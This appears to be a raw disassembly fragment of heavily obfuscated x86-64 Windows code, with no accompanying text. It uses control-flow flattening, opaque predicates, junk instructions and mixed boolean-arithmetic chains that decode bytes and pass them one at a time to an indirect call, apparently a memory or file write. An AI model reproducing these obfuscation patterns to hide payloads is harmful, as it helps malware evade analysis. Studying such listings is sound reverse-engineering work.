mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, 0x994ad849
jmp 0x140001070
cmp eax, 0x8b304fc5
je 0x1400102a0
cmp eax, 0x8c7156e0
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, edx
and al, cl
xor cl, r8b
or bl, r8b
and bl, cl
xor al, bl
xor al, cl
mov eax, 0xc96f4e7a
mov ebx, 0x241b442a
cmovne eax, ebx
test cl, cl
cmovne eax, ebx
test edx, edx
mov edx, 0x241b442a
cmove edx, eax
cmp edi, 0xa
cmovl edx, eax
test cl, cl
mov eax, 0xc96f4e7a
cmovne edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0x98c8805
je 0x1400102aa
cmp eax, 0x9c8ebd8
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x19929e7c
mov ecx, 0x2954ca12
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xcd117160
je 0x1400102b4
cmp eax, 0xcd14228f
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl bl
mov edx, ebx
xor dl, r8b
mov eax, edx
xor al, 1
or bl, r8b
or cl, r8b
and cl, al
xor cl, bl
mov eax, edx
xor al, cl
or cl, dl
xor al, cl
test cl, cl
mov ecx, 0x1ba186a8
mov edx, 0xf404a2b4
cmovne ecx, edx
test al, al
mov eax, 0x1ba186a8
cmovne ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x67feccee
je 0x1400102f3
cmp eax, 0x689dcfde
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
or cl, al
or dl, al
xor dl, bl
xor bl, 1
and bl, cl
mov eax, edx
xor al, 1
xor dl, bl
and al, bl
xor al, dl
mov ecx, 0x9c114e02
mov ebx, 0x2659970a
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
test al, al
mov eax, 0x9c114e02
cmovne ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0xabbb21eb
je 0x14001031e
cmp eax, 0xac0753ee
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xbe42439c
mov ecx, 0x6f3347e6
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x26f3fd8c
je 0x140010364
cmp eax, 0x2823de95
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e009cd8
mov ecx, 0xd545aea2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xeab59904
je 0x14001036e
cmp eax, 0xec7d0378
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa916bef5
mov ecx, 0x3e5560a3
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x56eab32f
je 0x1400103b1
cmp eax, 0x57867ddd
jne 0x140001070
mov eax, dword [0x140035ab0]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ecx, edx
xor cl, al
or al, dl
mov ebx, ecx
xor bl, 1
or dl, dil
and dl, bl
xor dl, al
mov eax, 0x50a2eaf0
mov edx, 0xed8fe04c
cmovne eax, edx
test cl, cl
mov ecx, 0x50a2eaf0
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x9c14d30f
je 0x140010407
cmp eax, 0x9c3e0fc8
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf114ce9f
mov ecx, 0x11395846
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xf114ce9f
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x1b15f94a
je 0x140010411
cmp eax, 0x1b20bc26
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa1e61e6c
mov ecx, 0x7b62e6e1
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xdab3f187
je 0x14001043c
cmp eax, 0xdab97602
jne 0x140001070
mov eax, 0xfb1869a9
jmp 0x140001070
cmp eax, 0x797f3488
je 0x1400104ca
cmp eax, 0x7999380a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl bl
mov edx, ebx
xor dl, al
or cl, al
xor cl, bl
mov eax, 0x4b09e848
mov ecx, 0xfe80b524
cmovne eax, ecx
test dl, dl
mov ecx, 0x4b09e848
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xbb060aae
je 0x1400104d4
cmp eax, 0xbbb0f92d
jne 0x140001070
mov eax, 0xd7d2b144
jmp 0x140001070
cmp eax, 0x363d110b
je 0x1400104de
cmp eax, 0x368fffde
jne 0x140001070
mov eax, 0xf9af6c4b
jmp 0x140001070
cmp eax, 0xf9c52a02
je 0x140010509
cmp eax, 0xf9e4af0b
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbece51e9
mov ecx, 0x6b5054ed
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3d8c7b62
je 0x140010534
cmp eax, 0x3dfe1ee5
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl al
mov ebx, eax
xor bl, r8b
and cl, r8b
mov edx, ebx
mov r9d, ebx
or al, r8b
xor al, bl
xor bl, cl
xor dl, 1
or dl, cl
xor r9b, dl
xor dl, cl
test dl, dl
mov ecx, 0x7064fd52
mov edx, 0x423e8b7f
cmovne ecx, edx
test r9b, r9b
mov edx, 0x7064fd52
cmovne edx, ecx
test bl, bl
cmove edx, ecx
test al, al
mov eax, 0x7064fd52
cmovne edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0x84eca19f
je 0x14001055f
cmp eax, 0x8500ef57
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
mov eax, 0x5eef4663
mov edi, 0x91d00e4c
cmovne eax, edi
test cl, cl
mov ecx, 0x5eef4663
cmovne eax, ecx
test dl, dl
cmove eax, edi
test bl, bl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x5fc0474
je 0x140010569
cmp eax, 0x64b45b8
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl bl
mov edx, ebx
xor dl, al
or cl, bl
xor dl, 1
and dl, cl
and bl, al
mov eax, ebx
mov ecx, edx
not cl
or cl, bl
or bl, dl
xor al, 1
mov r8d, edx
and r8b, al
xor al, bl
or al, r8b
xor cl, al
test cl, 1
mov ecx, 0x8f662608
mov ebx, 0x849f8bb4
cmovne ecx, ebx
test al, al
mov eax, 0x8f662608
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xc96f4e7a
je 0x140010594
cmp eax, 0xc99c04f2
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
or dl, al
mov ebx, ecx
xor bl, al
xor dl, bl
and cl, al
mov eax, ecx
xor al, dl
xor al, 1
or al, dl
and al, cl
xor al, bl
mov eax, 0x975ced45
mov ecx, 0x1e9d16f2
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x64302f1b
je 0x1400105c4
cmp eax, 0x644d65de
jne 0x140001070
movsxd rax, dword [rbp + 0x14]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
cmp rax, 0x382
setb byte [rbp - 0x16]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
xor cl, al
mov eax, 0xb91d4260
mov ecx, 0x4e54855d
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xa6886d33
je 0x1400105ce
cmp eax, 0xa6c763e1
jne 0x140001070
mov eax, 0x6be6f123
jmp 0x140001070
cmp eax, 0x246a5350
je 0x1400105d8
cmp eax, 0x247917ca
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
and cl, bl
mov eax, ebx
xor al, r8b
or dl, r8b
and dl, al
xor dl, cl
or dl, al
and bl, r8b
mov eax, ebx
xor al, dl
mov ecx, 0x243aa0db
mov edi, 0x26b4ff20
cmovne ecx, edi
test dl, dl
mov edx, 0x26b4ff20
cmovne edx, ecx
test bl, bl
cmovne edx, ecx
test al, al
mov eax, 0x243aa0db
cmovne edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0xe77b0355
je 0x140010603
cmp eax, 0xe78b49f4
jne 0x140001070
mov eax, 0xb7e4c21f
jmp 0x140001070
cmp eax, 0x52378b69
je 0x14001062e
cmp eax, 0x5293b6ea
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d62f18
mov ecx, 0x7e67fc62
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x964137e2
je 0x14001065e
cmp eax, 0x9708242f
jne 0x140001070
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov ebx, dword [rbp + 0x1c]
mov eax, ebx
or eax, 0xa16aed95
mov edx, ebx
xor edx, 0x5e95126a
or edx, eax
and eax, 0x44db7eb6
mov edi, ebx
and edi, 0x1a040048
or edi, eax
xor edi, ebx
mov ecx, ebx
and ecx, 0x38
or ecx, 0x7ca67583
mov r12d, ebx
and r12d, 0xffffffc7
xor r12d, ecx
mov ecx, r12d
xor ecx, 0x7ca675bb
mov esi, r12d
xor esi, 0xc99a08e1
and esi, ecx
and r12d, 0xb53c7d5a
xor r12d, 0x81180840
or r12d, esi
mov r8d, r12d
xor r12d, ebx
not ebx
xor r8d, 0x4ac382a5
and r8d, ebx
and ebx, 0x5e95126a
xor edi, 0x4a6c94
and edi, edx
mov ecx, edi
xor ecx, ebx
mov edx, ecx
or edi, ebx
xor edi, ecx
and ecx, 0x8ed7a428
and edx, 0x71285bd7
or edi, edx
or edi, ecx
mov ecx, edi
xor ecx, 0x5e951242
xor edi, 0xa16aed95
mov ebx, edi
and ebx, 0x42fc3bf7
mov edx, edi
and edx, 0xbd03c408
or edx, 0x405430a7
xor edx, ebx
mov ebx, edx
xor ebx, 0x4054309f
xor edx, 0xbfabcf40
and ecx, edx
or edi, 0x38
or edx, edi
not edx
and ecx, 0xffffffc7
and edi, ebx
or edi, ecx
or edi, edx
mov edx, edi
and edx, 0xfc0e1561
mov r9d, edi
and r9d, 0x3f1ea9e
mov esi, edi
or esi, 0x3f1ea9e
mov ebx, edx
xor ebx, 0x61d4005b
and ebx, esi
mov ecx, edi
or ecx, 0x9ffbffbe
mov r10d, ecx
and r10d, 0xcfa62f3a
and edi, 0x20000041
or edi, r10d
not ecx
and ecx, ebx
and ebx, 0xfc5e1571
xor ebx, edi
xor ebx, 0xee262f71
or ecx, ebx
xor ecx, r9d
xor edx, 0xfc0e1561
mov ebx, edx
and ebx, 0x80a1141
and esi, 0xf6c4eebc
or esi, ebx
or edx, r9d
xor esi, r9d
xor esi, 0x93b1143
and esi, edx
mov edx, ecx
xor edx, esi
xor edx, 0x9dda153a
xor ecx, 0x9dda153a
and ecx, esi
or ecx, edx
mov edx, r12d
xor edx, r8d
xor edx, 0xb53c7d5a
xor r12d, 0xb53c7d5a
and r12d, r8d
or r12d, edx
mov r14d, ecx
xor r14d, 0xfc0e1561
mov r15d, ecx
xor r15d, 0x3f1ea9e
mov r11d, r14d
or r11d, r15d
mov r9d, ecx
xor r9d, r11d
xor r9d, 0xfc0e1561
or r9d, r11d
not r9d
or r9d, r14d
mov edx, r12d
and edx, 0x8109673
or edx, 0x14000000
mov r10d, r12d
and r10d, 0x63c3698c
or r10d, 0x1c108613
xor r10d, edx
xor r10d, 0x6bd3ef9f
mov edx, r10d
and edx, 0x63c3698c
or edx, 0x8c141652
and r10d, 0x8109673
xor r10d, edx
mov r8d, r10d
xor r8d, 0xefd77fde
mov ebx, r9d
and ebx, 0xe136c765
or ebx, 0xcc91898
mov esi, r9d
and esi, 0x1ec9389a
xor esi, ebx
mov ebx, esi
xor ebx, 0xedffdffd
mov edi, r9d
not edi
mov edx, esi
xor edx, 0x12002002
and edx, edi
and ebx, r9d
or ebx, edx
xor esi, ebx
xor esi, 0x12002002
and esi, ebx
xor ecx, 0xcdf00b3d
and ecx, r11d
xor ecx, 0x2f3726c6
mov edx, r14d
and edx, 0xb0e440c3
and r15d, 0x4f1bbf3c
or r15d, edx
or r14d, 0x1ec9389a
xor r15d, 0xae2d7859
and r15d, r14d
or r15d, ecx
mov ecx, r10d
or ecx, 0x1ec9389a
xor ecx, 0xe1164744
mov edx, r10d
xor edx, 0xee1b8bb
or edx, ecx
and ecx, 0x907451
mov edi, r10d
and edi, 0xe1028324
or edi, ecx
xor edi, r10d
xor edi, 0xe554cca
and edi, edx
and r12d, 0x80068665
mov r14d, r15d
not r14d
and r14d, esi
xor r15d, esi
mov ecx, r14d
not ecx
mov edx, r14d
and edx, 0x808002
mov esi, ecx
and esi, 0x79520e85
add esi, edx
add esi, 0x86241108
mov edx, r14d
and edx, 0x862d7178
xor edx, esi
mov r11d, edx
xor r11d, 0x86a4910a
mov esi, r15d
xor r14d, r15d
xor ecx, r15d
and r15d, 0x79d28e87
and esi, 0x862d7178
or esi, 0x51d20a07
xor esi, r15d
mov ebx, esi
xor ebx, 0xd7ff7b7f
xor edx, 0x795b6ef5
and edx, ebx
xor esi, 0x28008480
and esi, r11d
or ecx, r14d
not ecx
or ecx, esi
or ecx, edx
mov edx, r12d
xor edx, 0xe136c765
and edx, edi
or r12d, 0x1ec9389a
mov ebx, edi
or ebx, r12d
and r12d, edi
xor r12d, ebx
mov eax, r12d
not eax
and eax, edx
xor r12d, edx
xor r12d, eax
mov r14d, ecx
or r14d, r12d
and r12d, ecx
mov eax, r14d
and eax, 0x5d01bd23
xor eax, r12d
and r14d, 0xa2fe42dc
or r14d, 0x49011421
xor r14d, eax
mov r11d, r14d
xor r11d, 0xb6feebde
mov eax, r10d
xor eax, r9d
xor eax, 0x8021
and eax, r8d
mov ebx, r10d
xor ebx, 0x8021
xor r10d, 0xaec4b336
mov edx, r9d
and edx, 0x4113cce8
or edx, 0x3e840112
and r9d, 0xbeec3317
or ebx, r8d
and ebx, r10d
xor ebx, r9d
xor ebx, edx
mov edx, ebx
xor edx, 0x7f97cdfa
mov esi, ebx
xor esi, eax
xor esi, 0x80683205
mov ecx, eax
not ecx
and ecx, edx
xor ebx, 0x403205
and ebx, eax
or ecx, ebx
and ebx, esi
and esi, eax
xor ecx, esi
or ebx, ecx
mov eax, ebx
and eax, 0xdff6a9b3
or eax, 0x20004604
and ebx, 0x2009564c
xor ebx, eax
mov eax, ebx
xor eax, 0xfff6efb7
mov ecx, ebx
or ecx, 0xa0e43ca9
mov edx, ebx
xor edx, 0xa0ed2ce1
and edx, eax
mov eax, ecx
and eax, 0xbccbe940
and ebx, 0x43100216
or ebx, eax
xor ebx, edx
xor ebx, 0xa0c92840
xor ecx, 0xa0ed3ce9
and ecx, edx
or ecx, ebx
mov ebx, ecx
xor ebx, 0x7f12951a
mov eax, ecx
xor eax, 0x1917991a
and eax, ebx
mov edx, eax
xor edx, 0x66000400
or edx, ebx
xor eax, ecx
xor eax, 0xe6ed6ee5
and eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xe69e030e
mov r8d, r14d
xor r8d, 0xaf9f172f
mov edi, eax
or edi, 0xe69e030e
mov ebx, eax
xor ebx, 0x240e0106
and ebx, edx
not edx
mov esi, edi
and esi, 0x254f6dc7
and ecx, 0x18209030
or ecx, esi
xor edi, edx
and edx, 0x254f6dc7
or ebx, edx
xor ebx, ecx
mov edx, eax
xor edx, 0xe69e030e
or edx, edi
not edx
or edx, ebx
and eax, r11d
and r11d, 0x6677b581
xor r14d, 0xc9e8a2ae
and r14d, r8d
mov ecx, r11d
xor ecx, r14d
xor ecx, 0x66160100
xor r11d, 0x66160100
and r11d, r14d
or r11d, ecx
mov ecx, edx
xor ecx, 0x81
xor edx, 0x7e
and edx, r11d
not r11d
and r11d, ecx
or eax, edx
or eax, r11d
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
mov rax, qword [rbp]
movsxd rdx, dword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
call r13
add rsp, 0x30
mov eax, 0x63328944
jmp 0x140001070
cmp eax, 0x15dfc31f
je 0x140010689
cmp eax, 0x165979fc
jne 0x140001070
mov eax, 0x605af1c6
jmp 0x140001070
cmp eax, 0xd7d2b144
je 0x1400106b4
cmp eax, 0xd80e1d46
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, r8b
or cl, r8b
mov eax, ebx
xor al, 1
or dl, r8b
and dl, cl
and dl, al
xor dl, bl
mov eax, 0x22e8c664
mov ecx, 0x2f1bba4b
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x7461ad4d
je 0x1400106f9
cmp eax, 0x750ab283
jne 0x140001070
mov eax, 0xe4b67e3c
jmp 0x140001070
cmp eax, 0xb8c821b4
je 0x140010724
cmp eax, 0xb8cafaa8
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbedd53a3
mov ecx, 0x30127e0b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x32f6d328
je 0x14001072e
cmp eax, 0x3333844c
jne 0x140001070
mov eax, 0x890e7384
jmp 0x140001070
cmp eax, 0xf4581fde
je 0x14001077a
cmp eax, 0xf5475f12
jne 0x140001070
cmp byte [rbp - 0x14], 0
mov eax, 0xa210e38b
mov ecx, 0x7999380a
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x48fcb025
je 0x1400107a5
cmp eax, 0x493aa070
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
and cl, bl
mov eax, ebx
xor al, r8b
or dl, r8b
and dl, al
xor dl, cl
or dl, al
mov ecx, ebx
or cl, r8b
xor cl, al
and bl, r8b
xor bl, cl
or cl, bl
xor cl, 1
or cl, bl
mov eax, ecx
not al
and al, dl
xor cl, dl
xor cl, al
test cl, 1
mov eax, 0xa490bb35
mov ecx, 0x99a71c2b
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x8f684ceb
je 0x1400107d0
cmp eax, 0x9027a648
jne 0x140001070
mov eax, 0x8d3b0ae1
jmp 0x140001070
cmp eax, 0xdd076e0
je 0x1400107da
cmp eax, 0xe4bed5f
jne 0x140001070
mov eax, 0x101d9aaa
jmp 0x140001070
cmp eax, 0xd081c6e9
je 0x1400107e4
cmp eax, 0xd084dbcf
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x38c3b3fc
mov ecx, 0xe05123ba
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x6c1e44cc
je 0x14001080f
cmp eax, 0x6c265f70
jne 0x140001070
mov eax, 0x2d46e36a
jmp 0x140001070
cmp eax, 0xaf638fbe
je 0x140010819
cmp eax, 0xaf78cdf0
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xd5fda894
mov ecx, 0xfbbdbcf1
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x2b3b0078
je 0x140010823
cmp eax, 0x2b7ecca7
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x457a346c
mov ecx, 0xe6e9c9bc
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xeeb0913a
je 0x14001082d
cmp eax, 0xef2cc4b0
jne 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0xd06fc7d5
mov ebx, 0xbd77a264
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x140001070
cmp eax, 0x5bafe921
je 0x140010837
cmp eax, 0x5bee7bcb
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6e4c94f4
mov ecx, 0x853e5067
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x9f30c1b0
je 0x140010862
cmp eax, 0x9f545f72
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e4303b5
mov ecx, 0xf7e536f1
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x1da244f1
je 0x14001088d
cmp eax, 0x1dd38039
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf898e519
mov ecx, 0x21d0686a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xdee2238c
je 0x1400108b8
cmp eax, 0xdf4b7789
jne 0x140001070
mov eax, 0x3855b130
jmp 0x140001070
cmp eax, 0x7e4303b5
je 0x1400108e3
cmp eax, 0x7e43e98c
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r9b
cmp dword [0x140035ab4], 0xa
setge dl
setl al
mov r8d, eax
and r8b, r9b
mov ebx, eax
xor bl, r9b
or al, cl
and al, bl
and dl, r9b
xor dl, al
mov eax, ebx
xor al, dl
or al, dl
or bl, al
xor bl, r8b
test bl, 1
mov ecx, 0xdd076e0
mov edx, 0x10c61e46
cmovne ecx, edx
test al, al
mov eax, ecx
cmovne eax, edx
test r8b, r8b
cmove eax, ecx
jmp 0x140001070
cmp eax, 0xbf29ce8d
je 0x1400108f0
cmp eax, 0xbf51d595
jne 0x140001070
mov eax, 0x5550da33
jmp 0x140001070
cmp eax, 0x3a313c23
je 0x1400108fa
cmp eax, 0x3a5ab5ba
jne 0x140001070
mov edx, dword [0x140035ab0]
mov r9d, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete dl
cmp r9d, 0xa
setl r8b
setge al
and al, dl
xor dl, r8b
xor al, dl
mov ebx, esi
and bl, r8b
xor bl, dl
mov ecx, eax
xor cl, 1
movzx r8d, dl
test r8b, r8b
mov edi, 0x3c6e5b96
mov edx, 0xd6703fa2
cmovne edi, edx
movzx ecx, cl
test bl, bl
cmove ecx, r8d
mov edx, 0xd6703fa2
cmovne edx, edi
test al, al
cmovne edx, edi
test cl, cl
mov ecx, 0x3c6e5b96
cmovne edx, ecx
test esi, esi
mov eax, edx
cmove eax, ecx
cmp r9d, 0xa
cmovge eax, edx
jmp 0x140001070
cmp eax, 0xfc8a617f
je 0x140010904
cmp eax, 0xfd14d14e
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ff2043a
mov ecx, 0x6721bc38
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x9ff2043a
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x43c8a46e
je 0x140010949
cmp eax, 0x43cb2bce
jne 0x140001070
mov eax, 0xb41e3d6
jmp 0x140001070
cmp eax, 0x830a41d8
je 0x140010974
cmp eax, 0x83424805
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xea85fc11
mov ecx, 0xa5ef3901
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x386c07b
je 0x14001097e
cmp eax, 0x3ae9bfc
jne 0x140001070
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov esi, dword [rbp + 0x1c]
mov edi, esi
mov r8d, esi
mov eax, esi
mov edx, esi
xor edx, 0x20762510
mov ecx, esi
xor ecx, 0xdf89daef
and ecx, edx
mov r12d, esi
xor r12d, ecx
xor r12d, 0xdf89daef
or r12d, ecx
mov ebx, esi
not ebx
and ebx, r12d
xor r12d, esi
and esi, 0x4b8da7ae
or esi, 0x500000
and edi, 0xb4725851
xor edi, esi
xor edi, 0x4bdda7ae
xor r8d, 0xb4725851
xor eax, 0x4b8da7ae
or eax, r8d
not eax
or eax, edi
mov ecx, eax
and ecx, 0x45182f8e
or ecx, 0xa858051
and eax, 0xbae7d071
xor eax, ecx
mov edi, eax
xor edi, 0x410827ff
mov r15d, eax
xor r15d, 0xbef7d800
or r15d, edi
xor r15d, eax
mov eax, r15d
xor eax, 0x617e02ef
mov ecx, r15d
xor ecx, 0x9e81fd10
or ecx, eax
mov eax, r15d
xor eax, 0x85191b2a
and eax, ecx
and r15d, 0xdf89daef
xor r15d, eax
mov r9d, r15d
xor r9d, 0x7ae6c1c5
xor r12d, ebx
mov r11d, r12d
not r11d
mov ebx, r12d
mov r8d, r12d
mov r10d, r11d
mov eax, r12d
mov ecx, r11d
and ecx, 0x30406002
mov edi, r12d
and edi, 0x4e8107d0
add ecx, edi
add ecx, 0x1248808
or r12d, 0x7ec167d2
xor r12d, ecx
xor r12d, 0x1892829f
or r12d, r11d
and r11d, 0xa002c001
and ebx, 0x1048238a
or ebx, r11d
mov ecx, ebx
xor ecx, 0x5ffd3ffe
and r8d, 0x4ca51850
and r10d, 0x3100424
xor ebx, 0xfcafbad8
and ebx, ecx
lea ecx, [r10 + r8]
add ecx, 0x86088
and eax, 0xa0428102
lea edi, [rax + 0x4211800]
and eax, ebx
and ebx, 0xf8cee3db
xor edi, ebx
or eax, edi
xor eax, ecx
mov r10d, eax
xor r10d, 0xa04ae18a
mov ebx, eax
or ebx, 0x237a4546
xor ebx, 0x7fff5f77
mov r14d, eax
xor r14d, 0x7ccf5b33
and r14d, r10d
or r14d, ebx
mov ecx, r14d
xor ecx, 0x744d4801
mov edi, r14d
or edi, 0x57370d47
xor edi, 0xdfb7bfff
or edi, ecx
xor r14d, 0x8bb2b7fe
and r14d, edi
mov r8d, r15d
xor r8d, 0xd22e337d
mov ebx, r15d
